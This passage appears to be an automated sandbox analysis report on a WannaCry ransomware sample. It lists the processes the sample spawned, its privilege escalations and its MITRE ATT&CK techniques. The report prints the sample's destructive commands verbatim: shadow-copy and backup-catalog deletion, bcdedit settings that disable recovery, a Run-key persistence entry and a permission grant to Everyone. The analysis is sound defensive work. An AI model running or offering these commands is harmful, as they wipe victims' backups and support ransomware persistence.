ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 64 PID 1468 wrote to memory of 1148 1468 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 65 -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1856 @[email protected] 1992 @[email protected] 1928 @[email protected] 524 @[email protected] 1432 @[email protected] 1148 @[email protected] -
Suspicious use of AdjustPrivilegeToken 27 IoCs
description pid Process Token: SeTcbPrivilege 1572 taskse.exe Token: SeBackupPrivilege 1276 vssvc.exe Token: SeRestorePrivilege 1276 vssvc.exe Token: SeAuditPrivilege 1276 vssvc.exe Token: SeIncreaseQuotaPrivilege 1368 WMIC.exe Token: SeSecurityPrivilege 1368 WMIC.exe Token: SeTakeOwnershipPrivilege 1368 WMIC.exe Token: SeLoadDriverPrivilege 1368 WMIC.exe Token: SeSystemProfilePrivilege 1368 WMIC.exe Token: SeSystemtimePrivilege 1368 WMIC.exe Token: SeProfSingleProcessPrivilege 1368 WMIC.exe Token: SeIncBasePriorityPrivilege 1368 WMIC.exe Token: SeCreatePagefilePrivilege 1368 WMIC.exe Token: SeBackupPrivilege 1368 WMIC.exe Token: SeRestorePrivilege 1368 WMIC.exe Token: SeShutdownPrivilege 1368 WMIC.exe Token: SeDebugPrivilege 1368 WMIC.exe Token: SeSystemEnvironmentPrivilege 1368 WMIC.exe Token: SeRemoteShutdownPrivilege 1368 WMIC.exe Token: SeUndockPrivilege 1368 WMIC.exe Token: SeManageVolumePrivilege 1368 WMIC.exe Token: 33 1368 WMIC.exe Token: 34 1368 WMIC.exe Token: 35 1368 WMIC.exe Token: SeTcbPrivilege 1432 taskse.exe Token: SeTcbPrivilege 524 taskse.exe Token: SeTcbPrivilege 1144 taskse.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1108 reg.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Drops startup file
- Wannacry file encrypt
- Loads dropped DLL
- Drops Office document
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
PID:1468
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C:\Windows\SysWOW64\attrib.exeattrib +h .1⤵
- Views/modifies file attributes
PID:1744
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1548836680-533666437-679457699-1403319995-15752893778627448631697681750379809567"1⤵PID:1624
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q1⤵
- Modifies file permissions
PID:240
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-8449848701674497554-269395519-758020550159963813271793361-327609566-847366106"1⤵PID:740
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe1⤵
- Executes dropped EXE
PID:2012
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C:\Windows\SysWOW64\cmd.execmd /c 134121572449235.bat1⤵
- Suspicious use of WriteProcessMemory
PID:1948
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1917366722062954269687602685-177847297394799745561010335311191821001252967392"1⤵PID:780
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C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs1⤵
- Loads dropped DLL
PID:792
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C:\Users\Admin\AppData\Local\Temp\@[email protected]1⤵
- Loads dropped DLL
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:1992
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C:\Windows\SysWOW64\cmd.execmd.exe /c start /b @[email protected] vs1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1264
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-824873404-1445345944-1479974994-98875593-2055894955-1312886737398094850-1347903367"1⤵PID:1816
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C:\Users\Admin\AppData\Local\Temp\@[email protected]1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:1856
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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Loads dropped DLL
- Executes dropped EXE
PID:2040
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-7243436452017189083-164981695614473952821623919055-1692878850-10167724731152447306"1⤵PID:1184
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe1⤵
- Executes dropped EXE
PID:1776
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1572
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C:\Users\Admin\AppData\Local\Temp\@[email protected]1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of SetWindowsHookEx
PID:1928
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ftqqepmlkbmm513" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f1⤵
- Suspicious use of WriteProcessMemory
PID:1816
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet1⤵
- Suspicious use of WriteProcessMemory
PID:1312
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-977164687-149912063533978120614933617427283850701834945295-2080046974-1719948894"1⤵PID:1624
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1999903305-1075050239-123496422517271750291523489521-53324319351140889-1373227449"1⤵PID:456
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C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet1⤵
- Deletes shadow copies
- Uses Volume Shadow Copy Service COM API
PID:608
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C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ftqqepmlkbmm513" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f1⤵
- Adds Run entry to start application
- Modifies registry key
PID:1108
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Uses Volume Shadow Copy Service COM API
- Suspicious use of AdjustPrivilegeToken
PID:1276
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete1⤵
- Deletes shadow copies
- Suspicious use of AdjustPrivilegeToken
PID:1368
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe1⤵
- Executes dropped EXE
PID:1112
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1432
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:524
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe1⤵
- Executes dropped EXE
PID:1524
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:524
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1432
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe1⤵
- Executes dropped EXE
PID:1524
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1144
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1148
Network
MITRE ATT&CK Enterprise v15
MITRE ATT&CK Additional techniques
- T1107
- T1060
- T1158